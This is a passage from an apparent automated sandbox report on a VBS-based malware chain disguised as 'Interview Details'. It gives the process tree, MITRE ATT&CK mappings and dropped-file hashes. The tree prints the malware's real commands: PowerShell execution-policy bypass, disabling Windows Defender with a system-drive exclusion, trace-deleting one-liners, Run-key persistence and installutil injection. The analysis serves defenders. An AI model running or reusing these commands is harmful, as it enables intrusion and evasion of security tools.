'%vVlGz%','C:\Users\Admin\AppData\Local\Temp\Interview%20DetailsSlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'QMhMR' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\QMhMR.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5908
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /release
      4⤵
      Gathers network information
      PID:4464
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /renew
      4⤵
      Gathers network information
      PID:2668
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" winsock reset
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5396
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" int ip reset
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\xxwqk_01.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4092
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607662.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:816
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4912
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5044
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5064
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79c5.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1260
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2788
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79f0.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5504
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1580
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79c5.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5952
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3508
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79f0.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1128
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4716
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\interview%20details.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1312
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1092
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\bzxxw.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1296
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2224
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\qmhmr.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5724
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5976
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\tvywb.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4288
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5544
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xxwqk_01.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2288
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4884
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\drtft_01.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1140
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uqlta_02.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1352
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\dfbld.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:556
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:5144
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\llqzp_Pesis_.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5396
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uqlta_02.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2080
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uqlta_02.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1384
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Interview%20Details.vbs"
        5⤵
        
        PID:3340

C:\Users\Admin\AppData\Roaming\sever\sever.exe
C:\Users\Admin\AppData\Roaming\sever\sever.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5024

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 d35d551e87bb7d975f2095b74c369d7ac995ac09ae37cf89548041efab531471
MD5 c613c5036e30e5afe7bd2960cb0be477
SHA1 0305e8a20470e0e803382ca9ccd6dd19244684a8
SHA512 042a3258a77f29e860a5f66fb8246ef52973379f9a181c9a227d1ea34b805ce21af3352b714099a23c6792ce0c262938ebca21c9ed96b3803829c48c1c54635f
SSDEEP 1536:RzQmcGCw2haovffKQNEYxflJdpXYeinHzwrJ40i7gigMkdGWMrxm0ibjoRjdvRQQ:RzQmcGCw2haovffKQNEYxflJdlYvnHzF
TLSH
T16C636292E9204E75E1A66F3EF15622627D30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download